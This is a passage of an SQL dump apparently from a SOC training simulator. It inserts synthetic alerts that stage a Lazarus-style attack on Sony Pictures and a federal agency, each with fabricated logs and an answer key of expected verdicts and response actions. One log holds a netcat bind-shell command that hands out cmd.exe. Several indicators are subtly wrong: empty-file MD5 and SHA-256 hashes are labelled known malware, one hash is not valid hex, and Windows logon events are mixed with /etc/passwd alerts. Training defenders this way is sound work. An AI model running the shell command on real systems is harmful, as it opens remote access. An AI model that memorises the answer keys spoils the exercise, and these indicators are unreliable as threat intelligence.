credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1461, 'Initial Access: Spear Phishing Campaign', 'high', 'Email logs', 'The attackers initiated their operation by launching a tailored spear phishing campaign aimed at Sony employees, leveraging social engineering tactics to deliver malicious payloads. A suspicious email with a malicious attachment was detected, originating from a known malicious public IP address.', 'Phishing', 'T1566.001', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-12T14:35:21Z\",\"source_ip\":\"185.123.231.45\",\"destination_email\":\"j.smith@sonypictures.com\",\"subject\":\"Urgent: Update Required\",\"attachment\":{\"name\":\"Update_Required.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"internal_ip\":\"192.168.1.25\"}', '2026-03-07 00:51:05', '2026-03-11 17:51:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.231.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"j.smith@sonypictures.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Valid Sony Pictures employee email\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted host\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Campaign\",\"date\":\"2026-03-07T14:15:20.852Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1462, 'Execution: Deployment of Destructive Malware', 'critical', 'Endpoint security logs', 'Upon gaining access, the attackers deployed a custom-built malware designed to destroy data and disrupt Sony Pictures\' operations, demonstrating the group\'s capability for destructive cyber attacks.', 'Malware', 'T1485: Data Destruction', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"username\":\"j.doe\",\"process_name\":\"wiper.exe\",\"file_hash\":\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\",\"filename\":\"destructive_payload.dll\",\"action\":\"Executed\",\"status\":\"Success\"}', '2026-03-07 00:51:05', '2026-03-11 03:21:50', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group IP used in previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with destructive malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destructive_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"File used in execution of destructive payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1463, 'Persistence: Establishing Backdoor Access', 'critical', 'Network traffic analysis', 'To ensure continued access, the attackers installed backdoors across the network, allowing them to remotely control and monitor compromised systems without detection.', 'Backdoor', 'T1105: Ingress Tool Transfer', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T06:34:22Z\",\"src_ip\":\"193.168.1.100\",\"dst_ip\":\"10.0.0.25\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":12345,\"filename\":\"nc.exe\",\"file_hash\":\"b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\",\"username\":\"j.doe\",\"action\":\"file_transfer\",\"threat_actor\":\"Lazarus Group\",\"malware_name\":\"Backdoor:Win32/CustomLazarus\",\"external_command\":\"RUN nc.exe -lvp 12345 -e cmd.exe\"}', '2026-03-07 00:51:05', '2026-03-11 03:23:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"193.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"ip-reputation-database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal-network\",\"verdict\":\"internal\",\"details\":\"Internal server identified as targeted host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware-analysis\",\"verdict\":\"malicious\",\"details\":\"File used for unauthorized access and control.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash-reputation-database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor tools used by the Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal-user-database\",\"verdict\":\"suspicious\",\"details\":\"User account activity inconsistent with usual behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1464, 'Lateral Movement: Expanding Reach within the Network', 'high', 'Network flow logs', 'The attackers used stolen credentials and network vulnerabilities to move laterally within Sony\'s infrastructure, searching for sensitive information and furthering their infiltration.', 'Network Propagation', 'T1563.002', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"event_type\":\"network_traffic\",\"source_ip\":\"10.0.45.23\",\"destination_ip\":\"192.168.1.105\",\"external_attacker_ip\":\"203.0.113.45\",\"protocol\":\"SMB\",\"action\":\"login_attempt\",\"username\":\"j.doe\",\"status\":\"success\",\"hash\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\",\"filename\":\"malware_payload.dll\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"ip\",\"value\":\"192.168.1.105\"},{\"type\":\"ip\",\"value\":\"10.0.45.23\"},{\"type\":\"hash\",\"value\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\"},{\"type\":\"filename\",\"value\":\"malware_payload.dll\"},{\"type\":\"username\",\"value\":\"j.doe\"}]}', '2026-03-07 00:51:05', '2026-03-11 03:43:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel Database\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group infrastructure IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.45.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Employee workstation\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Recognized Lazarus malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malware_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as malicious payload\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1465, 'Exfiltration: Data Theft and Leakage', 'critical', 'Data transfer logs', 'Concluding their operation, the attackers exfiltrated a vast amount of confidential data, later leaking it publicly to cause reputational damage and disrupt Sony Pictures\' business operations.', 'Data Exfiltration', 'T1041', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T03:30:12Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"45.76.23.17\",\"user\":\"jdoe\",\"files_exfiltrated\":[\"confidential_report_2023.pdf\",\"financial_summary.xlsx\"],\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"protocol\":\"HTTPS\",\"destination_port\":443,\"malware_associated\":\"Sony Pictures\",\"comment\":\"Data exfiltrated to external IP, associated with known APT operations.\"}', '2026-03-07 00:51:05', '2026-03-11 03:44:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.23.17\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with tools used in prior APT operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_documentation\",\"verdict\":\"sensitive\",\"details\":\"Sensitive company document.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"company_directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account used for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:30:12Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"45.76.23.17\\\",\\\"user\\\":\\\"jdoe\\\",\\\"files_exfiltrated\\\":[\\\"confidential_report_2023.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"malware_associated\\\":\\\"Sony Pictures\\\",\\\"comment\\\":\\\"Data exfiltrated to external IP, associated with known APT operations.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1466, 'Initial Access via Spear Phishing', 'high', 'Federal Email Server Logs', 'A spear phishing email was sent to a federal employee, attempting to compromise user credentials. The email contained a malicious attachment disguised as a PDF document.', 'Phishing', 'T1566.001', 1, 'Closed', 296, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"email_subject\":\"Urgent Update Required\",\"sender_email\":\"john.doe@federalagency.com\",\"recipient_email\":\"alice.smith@federalagency.com\",\"attachment\":\"Update_Required.pdf\",\"attachment_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"malicious_domain\":\"update-portal.example.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\"}', '2026-03-10 17:44:09', '2026-03-14 21:33:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal user IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"update-portal.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing domain\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing\",\"date\":\"2026-03-11T02:38:07.558Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice 